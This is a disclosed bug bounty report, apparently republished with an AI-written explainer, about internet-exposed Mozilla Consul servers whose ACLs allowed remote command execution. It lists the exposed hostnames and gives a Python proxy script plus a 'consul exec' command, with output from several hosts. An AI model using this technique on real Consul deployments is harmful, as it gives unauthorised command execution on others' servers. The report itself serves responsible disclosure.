Exposed consul server and RCE issue
Several Consul servers were exposed to the internet with incorrect ACL rules, allowing an attacker to bypass restrictions and execute arbitrary commands with consul account privileges on multiple hosts.
- Fixed in 2 hours
- Paid in 15 days
- Disclosed after 2 hours
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Steps to reproduce:
Hi there,
I found several consul servers are exposed on the internet.
public.consul.stage.us-east-1.nubis-lab.nubis.allizom.org
public.consul.prod.us-west-2.nubis-training-2016.nubis.allizom.org
public.consul.admin.us-west-2.nubis-lab.nubis.allizom.org
public.consul.admin.us-east-1.nubis-lab.nubis.allizom.org
public.consul.stage.us-west-2.nubis-training-2016.nubis.allizom.org
According to WHOIS information, I believe those servers are belong to Mozilla, although public consul servers are not a big problem, but it seems ACL rule is incorrect, I can easy to bypass and execute any command with consul account privilege on every / specific server, please fix it to avoid being hacked.
How to reproduce:
1. Prepare a simple python script to proxy HTTP to HTTPS and execute it as a proxy server
----------------------------------------------------------------
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
import sys
server = maproxy.proxyserver.ProxyServer('52.202.226.93', '443', server_ssl_options=True)
server.listen(80)
tornado.ioloop.IOLoop.instance().start()
----------------------------------------------------------------
2. Execute command via consul
> consul exec --prefix="_test" -http-addr=127.0.0.1 "uname -a"
3. The command will be executed and show all results
Reference:
https://github.com/hashicorp/consul/issues/1238
Actual results:
> consul exec --prefix="_test" -http-addr=127.0.0.1 "uname -a"
==> i-296c1a18: finished with exit code 0
i-296c1a18: Linux ip-10-162-2-104 3.13.0-93-generic #140-Ubuntu SMP Mon Jul 18 21:21:05 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-296c1a18:
==> i-3a92a72d: finished with exit code 0
i-3a92a72d: Linux ip-10-162-2-57 4.4.19-29.55.amzn1.x86_64 #1 SMP Mon Aug 29 23:29:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-3a92a72d:
==> i-ca0ddfdc: finished with exit code 0
i-ca0ddfdc: Linux ip-10-162-2-143 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-ca0ddfdc:
==> i-d0d3e0c6: finished with exit code 0
i-d0d3e0c6: Linux ip-10-162-2-170 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-d0d3e0c6:
==> i-d720b2c1: finished with exit code 0
i-d720b2c1: Linux ip-10-162-2-74 4.4.19-29.55.amzn1.x86_64 #1 SMP Mon Aug 29 23:29:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-d720b2c1:
==> i-e29e80d3: finished with exit code 0
i-e29e80d3: Linux ip-10-162-2-105 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-e29e80d3:
==> i-e44137d5: finished with exit code 0
i-e44137d5: Linux ip-10-162-2-16 4.4.19-29.55.amzn1.x86_64 #1 SMP Mon Aug 29 23:29:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
i-e44137d5:
Expected results:
Avoid public consul server or set ACL correctly.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Consul servers were publicly accessible and their ACL rules were misconfigured, allowing unauthenticated or weakly authenticated command execution.
Impact
An attacker could execute arbitrary commands with consul account privileges on multiple servers, potentially leading to full compromise of those hosts.
What the attacker needed
Consul servers exposed to the internet; Incorrect ACL rules
The fix
The Consul servers should not be publicly exposed, and ACL rules should be configured correctly to restrict access.
How it was found
- Set up a local proxy that forwards HTTP to the HTTPS Consul server.
- Use the consul exec command with a test prefix and the local proxy address to run a command.
- Observe the command output returned from multiple servers.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Consul is a tool for managing servers and running commands across them. The report says these Consul servers were reachable from the internet and their access rules were too loose, so someone outside could run commands on the machines. The attacker showed this by running a simple command that printed system information from several servers.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.